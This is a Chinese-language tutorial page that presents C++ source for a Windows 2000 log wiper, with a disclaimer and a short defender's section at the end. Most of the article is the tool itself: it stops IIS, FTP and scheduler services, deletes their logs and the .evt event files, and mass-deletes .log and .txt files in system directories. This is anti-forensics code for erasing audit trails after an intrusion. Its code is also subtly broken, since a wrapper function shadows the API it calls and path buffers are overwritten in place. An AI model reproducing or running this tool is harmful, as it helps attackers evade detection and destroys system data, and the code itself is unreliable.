首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

Windows 2000 日誌清除器原理與 C++ 實作:服務控制、檔案刪除與安全審計規避

     編輯:關於SqlServer

免責聲明

本文僅供安全研究、系統管理教學與防禦視角理解攻擊手法之用。未經授權清除系統日誌屬違法行為,嚴禁用於非法入侵、竄改審計軌跡。請遵守當地法律法規。

Windows 2000 主要日誌類型與預設路徑

核心難點:服務鎖定檔案無法直接刪除

  • IIS/FTP/排程服務運行時持有檔案句柄,del 失敗 (共用違規)。
  • 安全性/系統事件日誌由 **EventLog 服務** 獨佔,**關鍵服務不可停止** (SCM 拒絕)。
  • 解決路徑:
    1. 可停止服務 → Stop Service → 刪除 → Start Service (IIS/FTP/排程)。
    2. 不可停止服務 → 僅能透過 **事件檢視器遠端連線** 手動清除 (極慢),或需核心模式驅動程式/繞過檔案鎖定 (屬高階攻擊技術,本文不展開)。

C++ 服務控制核心 API 封裝

// 停止服務
BOOL StopService(LPCTSTR name) {
    SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
    SC_HANDLE svc = OpenService(scm, name, SERVICE_STOP | SERVICE_QUERY_STATUS);
    SERVICE_STATUS ss;
    BOOL ok = ControlService(svc, SERVICE_CONTROL_STOP, &ss);
    CloseServiceHandle(svc); CloseServiceHandle(scm);
    return ok;
}

// 啟動服務
BOOL StartService(LPCTSTR name) {
    SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
    SC_HANDLE svc = OpenService(scm, name, SERVICE_START);
    BOOL ok = StartService(svc, 0, NULL);
    CloseServiceHandle(svc); CloseServiceHandle(scm);
    return ok;
}

// 查詢狀態
DWORD GetServiceState(LPCTSTR name) {
    SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
    SC_HANDLE svc = OpenService(scm, name, SERVICE_QUERY_STATUS);
    SERVICE_STATUS ss; QueryServiceStatus(svc, &ss);
    CloseServiceHandle(svc); CloseServiceHandle(scm);
    return ss.dwCurrentState;
}

// 刪除目錄下符合模式檔案
void DeleteFiles(LPCTSTR dir, LPCTSTR pattern) {
    TCHAR path[MAX_PATH]; PathCombine(path, dir, pattern);
    WIN32_FIND_DATA fd; HANDLE h = FindFirstFile(path, &fd);
    if (h != INVALID_HANDLE_VALUE) {
        do { TCHAR f[MAX_PATH]; PathCombine(f, dir, fd.cFileName); DeleteFile(f); }
        while (FindNextFile(h, &fd));
        FindClose(h);
    }
}

完整清除流程 (主邏輯)

int main() {
    TCHAR sysDir[MAX_PATH]; GetSystemDirectory(sysDir, MAX_PATH);
    TCHAR winDir[MAX_PATH]; lstrcpy(winDir, sysDir);  // 取父目錄
    PathRemoveFileSpec(winDir);

    // 1. IIS
    if (GetServiceState(_T("W3SVC")) == SERVICE_RUNNING) {
        StopService(_T("W3SVC")); Sleep(1000);
        DeleteFiles(PathCombine(sysDir, _T("LogFiles\\W3SVC1")), _T("*.log"));
        StartService(_T("W3SVC"));
    }

    // 2. FTP
    if (GetServiceState(_T("MSFTPSVC")) == SERVICE_RUNNING) {
        StopService(_T("MSFTPSVC")); Sleep(1000);
        DeleteFiles(PathCombine(sysDir, _T("LogFiles\\MSFTPSVC1")), _T("*.log"));
        StartService(_T("MSFTPSVC"));
    }

    // 3. 排程
    if (GetServiceState(_T("Schedule")) == SERVICE_RUNNING) {
        StopService(_T("Schedule")); Sleep(1000);
        DeleteFile(PathCombine(winDir, _T("SchedLgU.txt")));
        StartService(_T("Schedule"));
    }

    // 4. 其餘鬆散日誌 (無服務鎖定)
    DeleteFiles(PathCombine(sysDir, _T("LogFiles")), _T("*.*"));
    DeleteFiles(PathCombine(sysDir, _T("dtclog")), _T("*.*"));
    DeleteFiles(PathCombine(sysDir, _T("config")), _T("*.evt"));
    DeleteFiles(sysDir, _T("*.log"));
    DeleteFiles(sysDir, _T("*.txt"));
    DeleteFiles(winDir, _T("*.log"));
    DeleteFiles(winDir, _T("*.txt"));

    return 0;
}

防禦與審計建議 (藍隊視角)

  1. 日誌集中轉發:配置 Windows Event Forwarding (WEF) / Syslog / SIEM 即時轉發,**本地刪除不影響上游存證**。
  2. 日誌檔案完整性監控 (FIM):監控 %SystemRoot%\system32\config\*.evt、%SystemRoot%\system32\LogFiles\ 變更,觸發告警。
  3. 服務狀態監控:監控 W3SVC、MSFTPSVC、Schedule、EventLog 服務停止/啟動事件 (Event ID 7036/7040)。
  4. 權限最小化:非管理員帳號無權停止服務、刪除系統目錄檔案、載入驅動程式。
  5. 啟用「安全性日誌」保護:HKLM\SYSTEM\CurrentControlSet\Services\Eventlog\Security\Retention 設為 0 (不覆寫) + 定期備份 .evt。

總結

Windows 2000 日誌清除核心在於 **服務控制管理器 (SCM) API** 停止鎖定檔案的服務、刪除檔案、重啟服務。EventLog 服務不可停止,需遠端事件檢視器或核心技術繞過。藍隊應部署**集中日誌、FIM、服務狀態監控**三重防線,使本地清除失去意義。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
日誌類型預設路徑備註
IIS (W3SVC)%SystemRoot%\system32\LogFiles\W3SVC1\每日一檔,服務鎖定檔案
FTP (MSFTPSVC)%SystemRoot%\system32\LogFiles\MSFTPSVC1\同上
排程服務%SystemRoot%\SchedLgU.txt單一檔案
應用程式/安全性/系統%SystemRoot%\system32\config\*.evt事件檢視器 .evt 檔
DNS 服務%SystemRoot%\system32\dns\*.log